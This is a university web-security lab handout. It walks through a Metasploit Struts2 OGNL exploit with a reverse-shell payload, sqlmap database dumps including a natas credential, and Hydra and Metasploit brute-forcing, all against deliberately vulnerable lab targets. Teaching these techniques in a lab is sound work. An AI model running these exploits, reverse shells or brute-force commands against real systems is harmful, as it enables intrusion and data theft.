CS 410/510: Web Security
X1: Labs

Setup WFP1, WFP2, and Kali VMs on Google Cloud

- Go to Google Cloud Console => Compute Engine => VM instances => Create Instance
- For the Boot Disk, click "Change", then in the upper tab click "Custom images". In drop-down select cs410fall17 (famous-empire-181720)
- Select the image (wfp1 / wfp2 / kali).
- Enable HTTP for each VM
  - Note that one of the Metasploit exploits we will be running will force a server to spawn a shell and send it back to port 80 on the Kali VM
- Login credentials
  - wfp1 and wfp2 => wfp : wfp
  - kali => root : toor
- Note that there is an IP address access control that only allows requests from IP address ranges within your Google Cloud VM (10.x.x.x) addresses or from PSU (131.252.x.x)
- Note both the external and internal IP address of each instance. We will be using the internal IP address for the attacks, but will need to connect via the external IP addresses initially.
  - wfp1_external_IP , wfp1_internal_IP
  - wfp2_external_IP , wfp2_internal_IP
  - kali_external_IP , kali_internal_IP

Metasploit Apache Struts2 on Google Cloud

- Create a vulnerable Apache Struts2 instance on Google Cloud Platform
  - Install a Ubuntu 16.04 VM
    - Enable HTTP
    - Note both the external and internal IP address of the instance (struts2_external_IP / struts2_internal_IP)
  - Install docker on the VM
    - curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
    - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
    - sudo apt-get update
    - sudo apt-get install -y docker-ce
- Run the vulnerable Apache Struts2 container
- Test the instance by visiting `http://<struts2_external_IP>`

- From a linuxlab terminal, ssh into the Kali VM
  - `ssh root@<kali_external_IP>` (password is toor)
  - Launch Metasploit via the shell (`msfconsole`)
  - Type “search struts2” to find Struts2 vulnerabilities
  - Find the one that compromised Equifax (March 7, 2017) and use
    - Command should be like
      ```
      use exploit/multi/http/struts2_
      ```
  - Set the target IP address and port of vulnerable Struts2 instance
    - `set RHOST <struts2_internal_IP>
    - `set RPORT 80`
  - Set the target URI for the exploit
    - `set TARGETURI /showcase`
  - Set and configure the payload you want to execute after exploitation
    - In this case, we will invoke a shell and connect it back up to port 80 of our Kali VM
    - `set PAYLOAD linux/x64/shell/reverse_tcp`
    - `set LHOST <kali_internal_IP>`
    - `set LPORT 80`

```
Module options (exploit/multi/http/struts2_content_type_ognl):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proxy:1</td>
<td>no</td>
<td></td>
<td>A proxy chain of format type:host:port[</td>
</tr>
<tr>
<td>RHOST</td>
<td>10.138.0.11</td>
<td>yes</td>
<td>The target address</td>
</tr>
<tr>
<td>RPORT</td>
<td>80</td>
<td>yes</td>
<td>The target port (TCP)</td>
</tr>
<tr>
<td>SSL</td>
<td>false</td>
<td>no</td>
<td>Negotiate SSL/TLS for outgoing connections</td>
</tr>
<tr>
<td>TARGETURI</td>
<td>/showcase</td>
<td>yes</td>
<td>The path to a struts application action</td>
</tr>
<tr>
<td>VHOST</td>
<td></td>
<td></td>
<td>HTTP server virtual host</td>
</tr>
</tbody>
</table>

Payload options (linux/x64/shell/reverse_tcp):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>LHOST</td>
<td>10.138.0.10</td>
<td>yes</td>
<td>The listen address</td>
</tr>
<tr>
<td>LPORT</td>
<td>80</td>
<td>yes</td>
<td>The listen port</td>
</tr>
</tbody>
</table>
```

- Run the exploit
  - `exploit`
Metasploit WFP on Google Cloud

- Directory scan on WFP1
  - Load the dir_scanner script
    ```
    msf > use auxiliary/scanner/http/dir_scanner
    ```
  - Show which file is being used for the credentials
    ```
    msf > show options
    ```
  - Set the target to your WFP1 instance
    ```
    msf auxiliary(http_login) > set RHOSTS <wfp1_internal_IP>
    ```
  - Run the attack
    ```
    msf auxiliary(http_login) > exploit
    ```
  - Show the results

- Brute-force HTTP auth on WFP2
  - Load the http_login brute-force script
    ```
    msf > use auxiliary/scanner/http/http_login
    ```
  - Set the target to your WFP2 instance
    ```
    msf auxiliary(http_login) > set RHOSTS <wfp2_internal_IP>
    ```
  - Set the URI to Authentication #1
msf auxiliary(http_login) > set AUTH_URI
    /authentication/example1/
msf auxiliary(http_login) > exploit
msf auxiliary(http_login) > set VERBOSE false

○ Run the attack

○ Scroll up to find successful login

○ Note, to only show the result, do the following and then re-run
  msf auxiliary(http_login) > set VERBOSE false

**sqlmap on Google Cloud**

- **From Kali VM**
- **WFP1 SQL injection #1**
  ○ Run sqlmap on first SQL injection example
  
  sqlmap -u
  'http://<wfp1_internal_IP>/sqli/example1.php?name=root'
  --batch --dbms mysql --dump
  ○ List the injection points discovered and the payloads used to exploit them.
  ○ Show the dump of the user table
- **WFP1 SQL injection #2**
  ○ In this exercise, spaces are removed. One can use built-in tamper scripts in sqlmap to substitute other white space characters such as tab or newline
  ○ In addition, sqlmap can dump the entire database using blind injection with a time-based metric. Run all tests and output the results
  
  sqlmap -u
  'http://<wfp1_internal_IP>/sqli/example2.php?name=root'
  --dbms mysql --dump --tamper=space2randomblank
- **natas15 Blind SQL injection**
  ○ In this exercise, the server code below queries the backend database table to determine if a user exists. Unfortunately, it is injectable. While it will not give out any contents of the database directly, it is vulnerable to a blind attack.
One can write a Python program (as you did in Program #1) to find the password for natas16 and as described in the course slides. However, sqlmap can perform the attack automatically for you.

- Solve this level via sqlmap by issuing the following

```
sqlmap -u 'http://natas15.natas.labs.overthewire.org' \
   --auth-type basic \ 
   --auth-cred natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J \ 
   --data username=foo \ 
   --dbms mysql \ 
   --dump \ 
   --level 2 
```
--batch
--time-sec 1

- The meaning of the flags is as follows:
  - '--auth-type', '--auth-cred': Lets sqlmap log into the challenge via Basic-Auth
  - '--data': Tells sqlmap that you want it to try to inject into the POST parameter username.
  - '--dbms': For efficiency, tell sqlmap the backend.
  - '--dump': Dump all the information in all tables.
  - '--level': Setting this above 1 (max 5) tells sqlmap to try more attack-types and payloads. The payload we need isn't included at level 1, so we'll set this to 2.
  - '--batch': Tells sqlmap not to prompt us with questions, and just use the default behavior.
  - '--time-sec': Sleep time to inject when doing timing-based attacks. You might need to raise this if your connection to the natas server is overloaded.
  - The attack takes about ten minutes to run, much of which is due to sqlmap dumping the entire user database with a time-based attack.

Hydra

- On Kali VM

```bash
hydrar -U rdp
```

# hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak — for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2015-02-10 12:15:01

Help for module rdp:

```
Module rdp is optionally taking the windows domain name.
For example:
hydrar rdp://192.168.0.1/firstdomainname -l john -p doe
```

- Use Hydra and the Mirai username and password lists in /usr/share/wordlists/metasploit to automatically search for the credentials of the Authentication #1 level of Web For Pentester II
  - Use the `-L` flag to specify a file of usernames
  - Use the `-P` flag to specify a file of passwords
  - HTTP GET URLs can be specified as
    - `http-get://<wfp2_internal_IP>/authentication/example1`
- Re-run command using the `-v` flag to see the list of credentials checked
Additional linuxlab exercises are for CS 510 students to complete

**Kali VM Setup on linuxlab**
- Install on linuxlab
  - Download the Kali VM image via BitTorrent
    - Get the torrent file
      ```
      ```
    - Open it in BitTorrent client deluge
      ```
deluge ./kali-linux-2017.2-vbox-amd64.torrent
      ```
    - Click on Options, then click on “Download Location”
      - drop-down, select “Other…”
    - Select “scratch” or /disk/trump/scratch to save
    - Click on “+ Add”
  - Import appliance into VirtualBox
    - Launch VirtualBox
    - Under File => Import Appliance
    - In Settings => Display, uncheck “Enable 3D Acceleration”
    - Bring up VM, login as “root” with password “toor”
    - Launch a terminal and change your password via `passwd` command

**wpscan**
- Within KaliVM on linuxlab
- Run wpscan against Pentesterlab’s vulnerable WordPress ISO
  - Or against my own version of it at [http://131.252.220.58](http://131.252.220.58)

**Zap**
- Within Kali VM, launch zaproxy in a terminal
  - Click on Accept for the license, then click “Yes...I want to persist..”
- Within Kali VM, set up Firefox to use zaproxy as its HTTP proxy
  - Start Firefox with the profile option in the background
    ```
    firefox -P &
    ```
Create Profile called zap and “Start Firefox” with it
In the URL window, type `about:preferences`
Goto Advanced => Network (tab) => Connection (Settings…)
Click Manual proxy and set “HTTP Proxy” to localhost and “Port” to 8080 (This is the default port that zap listens to)

Visit one of the WFP servers on Google Cloud with firefox and verify that it shows up in zap’s history window.
• Visit SQL example #1
  ○ `http://<wfp1_external_IP>/sqli/example1.php?name=root`
  ○ Right-click the request in the zap history window and click `Attack=>Fuzz`
  ○ Click on “root” in URL and “Add…” it to Fuzz Locations on the right
Click on “Add…” to set payload to fuzz the field with, select “File Fuzzers”, expand jbrofuzz, click SQL Injection, then click Add.

Start the Fuzzer

Sort by the size of the response body to find all strings that returned the entire user database

Repeat for another SQL example of your choice

Visit Google’s XSS firing range

- Click on “Reflected XSS”, then “Parameter - Body”
- In zap’s history, right-click on the GET request from the link, then select Attack=>Active Scan…
- In the “Input Vectors” tab, select URL Query String and deselect all others
- In the “Policy” tab, set the Threshold of all Tests to “OFF” except for “Cross Site Scripting” which you set to “LOW”. Start Scan
- Click on the “Alerts” tab above the bottom window of zap. Click on the Alert for the URL and show the attack vector that was used to generate the alert.

Visit XSS example #1

- In zap history, right-click URL and click Attack=>Active Scan
- Click on “Show advanced options” and then on “Input Vectors” tab, then deselect “POST Data”
- Start scan and find the Cross Site Scripting alert in “Alerts” tab

Visit WebScanTest

- [http://webscanetest.com](http://webscanetest.com)
  - Click on “OS Command Inject Tests” at the bottom
  - Click on “This is vulnerable to cmd inject”
  - Lookup a name in form
- Bring up request in zap’s history and right-click the POST request
- Click Attack=>Active Scan…
  - Select “Input Vectors”, deselect URL Query String, and select POST Data (since form takes input as POST)
  - Select “Policy” tab and then “Injection”. Under “Threshold” column, turn everything to OFF except
“Remote OS Command Injection” which should be set to “Low”. In the “Strength” column for this row, select “Low” as well.

- Start scan
  - Sort results by response size and list the request and response of the top result

**w3af**
- **Install**
  - On linuxlab
    ```bash
rsync -a /u/wuchang/w3af .
cd w3af
source env/bin/activate
./w3af_console
```
- Run `w3af_console` on your Web for Pentester 1 instance
  - Documentation at [http://docs.w3af.org/en/latest/](http://docs.w3af.org/en/latest/)
  - Use tool to identify vulnerabilities in two different OWASP categories automatically
  - Include a screenshot of each one
• Run one successful XSS scan in w3af_console on Google’s firing range
  ○ [https://public-firing-range.appspot.com](https://public-firing-range.appspot.com)